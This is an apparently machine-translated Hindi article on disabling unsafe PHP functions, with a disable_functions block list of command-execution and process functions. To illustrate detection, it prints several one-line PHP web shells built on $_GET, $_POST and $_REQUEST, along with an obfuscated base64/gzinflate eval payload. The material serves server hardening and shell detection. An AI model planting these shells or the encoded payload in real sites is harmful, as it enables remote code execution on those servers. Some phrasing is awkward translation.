💳 🏾 🖌️ असुरक्षित PHP फ़ंक्शंस 🎽 👩🏻‍💻 📍

मोड्सको होल्डिंग - 300 से अधिक सूचना साइटें और 5 प्रमुख इंटरनेट सेवाएं हैं। परियोजनाओं को नियमित रूप से खरीदा और बेचा जाता है। जैसा कि आप समझते हैं, इस स्थिति में उच्च गुणवत्ता कोड बनाए रखना शारीरिक रूप से असंभव है। और प्रोग्रामर का मुख्य ध्यान, एक नियम के रूप में, स्वयं सेवाओं पर केंद्रित है। हैकिंग, शेल, अन्य दुर्भावनापूर्ण चीजों के साथ साइटों का संक्रमण ... यह सब उपयोगकर्ताओं और कंपनियों के लिए महत्वपूर्ण नुकसान का कारण बनता है। इससे बचने के लिए, अक्सर जोखिम को कम करने के लिए गैर-मानक तरीकों की तलाश करनी होती है।

बिल्ली

fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system";

इसका मतलब यह नहीं है कि सभी खतरनाक कार्यों को तत्काल निषिद्ध करने की आवश्यकता है। इसका मतलब यह नहीं है कि उन्हें अक्षम करके, आप निश्चित रूप से सभी PHP के गोले से अपनी रक्षा करेंगे। इनमें से अधिकांश विशेषताएं आपके एप्लिकेशन, फ्रेमवर्क या लाइब्रेरी में बिल्कुल सुरक्षित रूप से उपयोग की जा सकती हैं। प्रत्येक आवेदन को व्यक्तिगत रूप से संपर्क किया जाना चाहिए। सुरक्षा एक रक्षा का निर्माण गहराई से करने की प्रक्रिया है, और इस मामले में खतरनाक कार्यों को अक्षम करना इस बचाव की संभावित रेखाओं में से एक है।

ऐसे कार्यों की सूची अच्छी तरह से संदिग्ध फ़ाइलों को खोजने के लिए एक सहायक हो सकती है। पीएचपी-शेल को बहुत चतुराई से छिपाया जा सकता है - ओफसकेशन का एक उत्कृष्ट उदाहरण हैब्र पर लेख

यह लेख स्टैकओवरफ़्लो रिकॉर्ड और हमारे स्वयं के अनुभव पर आधारित है जो PHP के गोले के एक विशाल सेट को पार्स करता है।

इससे क्या लेना-देना

PHP-fpm (या कुछ और) के लिए कुछ खतरनाक कार्यों को बंद करना अच्छा होगा। केवल PHP-cli के माध्यम से उन्हें निष्पादित करने का अवसर छोड़ दें। अन्य कार्यों की उपस्थिति को फाइलों में मॉनिटर किया जाना चाहिए। तीसरे को अधिक सावधानी से व्यवहार किया जाना चाहिए और तर्कों में आने के लिए अशुद्ध या कड़ाई से मान्य लाइनों की अनुमति नहीं दी जानी चाहिए।

कमांड निष्पादन कार्य

 exec expect_popen passthru system shell_exec popen proc_open pcntl_exec

इन सुविधाओं को पहले बंद कर दिया जाना चाहिए। यदि आपको PHP-fpm में उनकी आवश्यकता है, तो आप कुछ गलत कर रहे हैं। ये फ़ंक्शन आपको ओपन_बेडिर में निर्दिष्ट वातावरण से बाहर निकलने की अनुमति देते हैं। केवल कार्यों का हिस्सा बंद करना ही पर्याप्त नहीं होगा। उदाहरण के लिए, कोड निष्पादन के अवसरों की तलाश में प्यारे कई WSO शेल, कार्यों की गणना करता है।

 function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; }

प्रक्रिया प्रबंधन सुविधाएँ

 pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig

उन्हें भी बंद कर दिया जाना चाहिए। उदाहरण के लिए, proc_open में proc_open पाया जाता है। PHP-fpm के वातावरण में ऐसे कार्यों के लिए हाँ और कोई जगह नहीं। डेमॉन को PHP-cli के माध्यम से लॉन्च किया जाना चाहिए।

सूचना कार्य

 phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid

ये फ़ंक्शन आपके सिस्टम के बारे में जानकारी को प्रकट करते हैं और अन्य सॉफ़्टवेयर पर हमले की सुविधा प्रदान कर सकते हैं। और वे गोपनीय डेटा रिसाव का एक स्रोत भी बन सकते हैं, उदाहरण के लिए, सिम्फनी में डेटाबेस कनेक्शन को ईएनवी में स्टोर करने की सिफारिश की जाती है। इसलिए, इन कार्यों के निष्पादन पर प्रतिबंध लगाने की सलाह दी जाती है, आपके आवेदन में उपयोग किए गए लोगों को छोड़कर।

PHP कोड को निष्पादित करने वाले कार्य

 eval assert preg_replace create_function include include_once require require_once

यह डाउनलोड की गई फ़ाइलों में उनकी उपस्थिति की जाँच करने और वर्तमान फ़ाइलों की नियमित जाँच करने के लायक है। eval अलावा eval PHP कोड को निष्पादित करने के अन्य तरीके भी हैं। उदाहरण के लिए, आप एक विशेष रूप से तैयार की गई JPG फ़ाइल शामिल कर सकते हैं। हालाँकि, अधिकांश ढांचे और अनुप्रयोग इन कार्यों का उपयोग करते हैं - आप उन्हें अक्षम नहीं कर सकते। इसलिए, उनका उपयोग करते समय बेहद सावधान रहना महत्वपूर्ण है। शेल सिर्फ एक पंक्ति हो सकती है:

  include("data:text/plain;base64,$_GET[code]");

कॉलबैक का उपयोग करने वाले कार्य

 ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function

इन कार्यों का उपयोग स्ट्रिंग पैरामीटर पारित करके अन्य कार्यों को कॉल करने के लिए किया जा सकता है। यह उन्हें ध्यान से लागू करने और फ़ंक्शन के तर्क में कच्चे डेटा की अनुमति नहीं देने के लायक है। आखिरकार, वे शेल को मुखौटा बनाने के लिए भी सेवा कर सकते हैं। इन कार्यों का उपयोग करते हुए सबसे सरल शेल का एक उदाहरण इस प्रकार है:

 print_r(call_user_func_array($_POST['functie'], array($_POST['argv'])));

कार्य अक्सर उपयोग किए जाते हैं

 eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function

इन कार्यों को अक्सर एंटीवायरस से और पहले से ही आँखों से जाने वाले PHP के गोले को मास्क करने के लिए किया जाता है। उनकी उपस्थिति के लिए डाउनलोड की गई फ़ाइलों की जांच करें, वर्तमान फ़ाइलों में नियमित जांच करें। एक खोल को छिपाने का एक उदाहरण:

 eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));

फ़ाइल सिस्टम सुविधाएँ

 fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags

इन कार्यों का उपयोग फ़ाइलों को डाउनलोड करने या सिस्टम के बारे में जानकारी का खुलासा करने के लिए किया जा सकता है - यह सावधानी के साथ उनका उपयोग करने के लायक है। कई PHP गोले ftp के माध्यम से तृतीय-पक्ष फ़ाइलों को अपलोड कर सकते हैं। एक मनमाना फ़ाइल लोड करने के लिए एक सरल PHP शेल इस तरह दिखता है:

 copy($_GET['s'], $_GET['d']);

अन्य

 extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid

इन कार्यों के साथ सावधानी की भी आवश्यकता होती है, और उनमें से कुछ सर्वोत्तम निषिद्ध हैं। उदाहरण के लिए, किसी संक्रमित साइट पर स्पैम भेजने के लिए mail का उपयोग किया जा सकता है। यदि आपका एप्लिकेशन इन कार्यों का उपयोग करने का इरादा नहीं करता है, तो उन्हें अक्षम करें। निम्नलिखित निर्माण भयभीत नहीं है, लेकिन यह सबसे छोटे PHP गोले में से एक है:

  @extract($_REQUEST); @die ($ctime($atime));

निष्कर्ष

असुरक्षित PHP कार्यों को अक्षम करना संसाधनों से बाहर चलने के जोखिमों को कम करने का एक तरीका है। यदि "विशिष्ट ज्ञान" वाले लोग आपकी परियोजना में शामिल हैं, तो इसके गिरने की संभावना है।

यह सुरक्षा सीएमएस पर साइटों पर विशेष रूप से अच्छी साबित हुई - वे एक नियम के रूप में, स्वचालित मोड में दुर्भावनापूर्ण नेटवर्क द्वारा संक्रमित हैं। यदि स्कैनिंग बॉट कमांड या बाढ़ वाले PHP शेल को नहीं चला सकता है, तो यह संभवतः अगली साइट पर जाएगा।

मुझे उम्मीद है कि यह लेख शुरुआती लोगों को उपयोगकर्ता से प्राप्त डेटा को फ़िल्टर करने, परिरक्षण और मान्य करने के बारे में अधिक सावधान रहने के लिए प्रोत्साहित करेगा।

लेख अद्वितीय ज्ञान का ढोंग नहीं करता है - एक रूप या किसी अन्य में, यह सामग्री पहले से ही रनेट में सामना कर चुकी है। समस्या पर ध्यान आकर्षित करने के लिए पाठ एक सामान्यीकृत और व्यवस्थित सामग्री है।

शायद वह किसी को वर्डप्रेस सुरक्षा, अच्छी तरह से या किसी अन्य सीएमएस पर जटिल सामग्री लिखने के लिए प्रेरित कर सकेगा।

असुरक्षित PHP फ़ंक्शंस